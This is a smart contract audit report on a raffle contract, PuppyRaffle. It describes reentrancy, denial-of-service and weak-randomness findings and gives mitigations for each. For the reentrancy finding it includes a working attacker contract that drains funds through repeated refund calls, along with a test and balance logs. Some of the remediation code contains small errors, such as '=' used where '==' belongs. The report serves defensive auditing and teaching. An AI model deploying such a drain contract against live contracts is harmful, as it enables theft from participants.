PuppyRaffle Audit Report

Version 1.0

Cyfrin.io

January 20, 2024

PuppyRaffle Audit Report

Traxler Security Services

January 20th, 2024

Prepared by: [Traxler] Lead Auditors: - Traxler

Table of Contents

Protocol Summary

`PuppyRaffle` smart contract allows users to join a group of players by paying a Entrance Fee. If they win the raffle, they will win the prize pool as determined by the owner of the contract. The `PuppyRaffle::changeFeeAddress()` is a function that only allows the owner change the address of the wallet in which he/she will receive the funds.

Disclaimer

The Traxler Security Services team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The audit report corresponds to the following commit hash:

```
e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

```
./src/
    >PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

The security team has looked through the protocol and found 3 vulnerabilties using tools like Slither. We also put our hardwork and man power to go through it manually to try our best to make it error free.

Issues found

Severity	Number of issues found
HIGH	1
MEDIUM	1
LOW	0
INFO	1
TOTAL	3

Findings

High

[H-1] The function `PuppyRaffle::refund()` is a potential `Reentrancy Attack` threat.

Description: The function `PuppyRaffle::refund()` refunds a player if he wishes to withdraw from the raffle before it begins by taking the index number of the player as a parameter. If an attacker creates a malicious smart contract that is able to deposit some ETH to the contract and then withdraw all of it by repeatedly calling the refund function through the malicious smart contract.

```
Logs:
+ Starting Attacker Contract Balance:  0
+ Starting Contract Balance:  4000000000000000000
```

```
- Ending Attacker Contract Balance:  5000000000000000000
- Ending Contract Balance:  0
```

Impact: An attacker can easily create a malicious smart contract capable of repeatedly calling the refund function after depositing some ETH in it. This can lead to the theft of the funds deposited by the participants of the Raffle.

Proof of code: If we write the following the code in the exisitng test file:-

```
function test_reentrancyRefund() public{
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;

        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackerContractBalance = address(
            attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //attacker
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("Starting Attacker Contract Balance: ",
            startingAttackerContractBalance);
        console.log("Starting Contract Balance: ",
            startingContractBalance);

        console.log("Ending Attacker Contract Balance: ",address(
            attackerContract).balance);
        console.log("Ending Contract Balance: ",address(puppyRaffle).
            balance);

}
```

And create the malicious attacker's contract with the following code:-

```
contract ReentrancyAttacker{
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

```

```
6       constructor(PuppyRaffle _puppyRaffle){
7           puppyRaffle = _puppyRaffle;
8           entranceFee = puppyRaffle.entranceFee();
9       }
10
11      function attack() external payable {
12          address[] memory  players = new address[](1);
13          players[0] = address(this);
14          puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
17          puppyRaffle.refund(attackerIndex);
18      }
19
20      function _stealMoney() internal{
21          if(address(puppyRaffle).balance >= entranceFee){
22               puppyRaffle.refund(attackerIndex);
23          }
24      }
25
26
27      fallback() external payable {
28          _stealMoney();
29      }
30
31      receive() external payable {
32          _stealMoney();
33      }
34  }
```

We get the following results:

```
1  Logs:
2  +  Starting Attacker Contract Balance:  0
3  +  Starting Contract Balance:  4000000000000000000
4  -  Ending Attacker Contract Balance:  5000000000000000000
5  -  Ending Contract Balance:  0
```

Recommended Mitigation: 1. Consider updating `players[playerIndex] = address(0)` first before refunding the entrance fee.

2. Consider using a `Reentrancy Guard` modifier on the `PuppyRaffle::refund()` function to avoid reentrancy attack.

```
1  modifier nonReentrant() {
2      require(!reentrancyGuard[msg.sender], "Reentrant call");
3      reentrancyGuard[msg.sender] = true;
4      _;
5      reentrancyGuard[msg.sender] = false;
```

```
6 }
```

3. It is also recommended to use OpenZeppelin's Reentrancy Guard by using the following code.

```
1 import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
2
3 contract MyContract is ReentrancyGuard {
4     // Your contract code here
5 }
```

Medium

[M-1] The function `PuppyRaffle::enterRaffle()` is prone to Denial of Service Attack

Description: The dual loop in the function `PuppyRaffle::enterRaffle()` to check for duplicates is susceptible to attackers to create a `Denial of Service Attack`.The `PuppyRaffle::players[]` array might become so large sometimes that it might be potentially impossible for new players to join in because with the increasing number of players in the raffle, the gas fees will keep on increasing due to the complex loop structure.

```
1 @>Denial Of Service
2     for (uint256 i = 0; i < players.length - 1; i++) {
3               for (uint256 j = i + 1; j < players.length; j++) {
4                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
5               }
6           }
```

Impact: 1. Due to increasing gas fees in the later stages of entry, there will be rush to enter the raffle just when it begins, because the gas fees will be less and the players will be discouraged to enter at the later stages because the increasing gas fees will be sometimes impossible to pay. Thus causing denial of service. 2. A attacker might fill up the `PuppyRaffle::players[]` array with his own wallet addresses right at the beginning so that other players are discouraged to enter the raffle due to the increasing gas fees. Then he can win the raffle always, beating the purpose of a fair lottery.

Proof of Concept:

If we have 2 sets 100 players enter, the gas costs will be as such: - First 100 players: ~6252048 gas - Next 100 players: ~18067726 gas

It is as 3x as more expensive for the second 100 players.

PoC Place the following test into `PuppyRaffle.t.sol`.

```
1 function test_denialOfService() public {
2
```

```
        vm.txGasPrice(1);

        uint256 playersnum = 100;
        address[] memory players = new address[](playersnum);
        for(uint256 i=0;i<playersnum;i++){
            players[i] = address(i);
        }
        //How much gas it costs??
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasLeft = gasleft();
        uint256 gasUsed1 = (gasStart-gasLeft) * tx.gasprice;


        //Next 100 players
        for(uint256 i=0;i<playersnum;i++){
            players[i] = address(i+100);
        }
        uint256 gasStart2 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasLeft2 = gasleft();
        uint256 gasUsed2 = gasStart2-gasLeft2;

        console.log("Gas used earlier: ",gasUsed1);
        console.log("Gas used later :",gasUsed2);

        assert(gasUsed2 > gasUsed1);
    }
```

Recommended Mitigation:

There are a few recommendations:-

1. Consider allowing dupilicates. Consider allowing duplicates because the users can create multiple wallet addresses anyway. Only the same wallet address is prevented from entering multiple times. Not the user.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+    mapping(address=>uint256) public addressToRaffleId;
+    uint256 public raffleID = 0;
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public
payable {
     require(msg.value = entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
```

```
10        for(uint256 i=0; i<newPlayers.length;i++){
11            players.push(newPlayers[i]);
12    +       addressToRaffleId[newPlayers[i]] = raffleId;
13        }
14
15    -   //Check for duplicates
16    +   //Check for duplicates for only new players
17    +   for (uint256 i=0; i<newPlayers.length;i++){
18    +       require(addressToRaffleId[newPlayers[i]] !=
19    raffleId, "PuppyRaffle: Duplicate Player");
20    +
21    -   for(uint256 i=0; i<players.length;i++){
22    -       for(uint256 j=i+1; j<players.length;j++){
23    -           require(players[i] != players[j],"PuppyRaflle: Duplicate
          Player");
24    -       }
25    -   }
26
27    +  }
28        emit RaffleEnter(newPlayers);
29
30    }
```

Informational

[I-1] The function `PuppyRaffle::selectWinner()` is a weak pseudo-random generator function.

Description: It is tough to create actual randomness in a blockchain envioronment due to the deterministic nature of the blockchain. However, in `PuppyRaffle::selectWinner()` function, pseudo-randomness is generated using the timestamp of the transaction to enter the raffle to select winner randomly. However this can be manipulated and can be compromised.

Impact: This method of creating randomness might not due to Time Stamp Manipulation Attack. An attacker can enter the raffle at a specific instance so that he is selected as the winner, denying other participants a fair chance.

Recommended Mitigation: 1. It is highly recommended to use a strong source of randomness, for example, ChainLink's Verifiable Randomness Function using the following code:

```
1  // SPDX-License-Identifier: MIT
2  pragma solidity ^0.8.0;
3
4  import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
5
6  contract RandomnessExample is VRFConsumerBase {
7      bytes32 internal keyHash;
```

```
8       uint256 internal fee;
9       uint256 public randomResult;
10
11      constructor(address _vrfCoordinator, address _link, bytes32
            _keyHash, uint256 _fee)
12          VRFConsumerBase(_vrfCoordinator, _link)
13      {
14          keyHash = _keyHash;
15          fee = _fee;
16      }
17
18      function getRandomNumber() external returns (bytes32 requestId) {
19          require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK"
                );
20          return requestRandomness(keyHash, fee);
21      }
22
23      function fulfillRandomness(bytes32 requestId, uint256 randomness)
            internal override {
24          randomResult = randomness;
25      }
26  }
```

2. To make this randomness more strong and secure, it is recommended that combination of two or more random number generators are used. Suppose, ChainLink's VRF with some other source.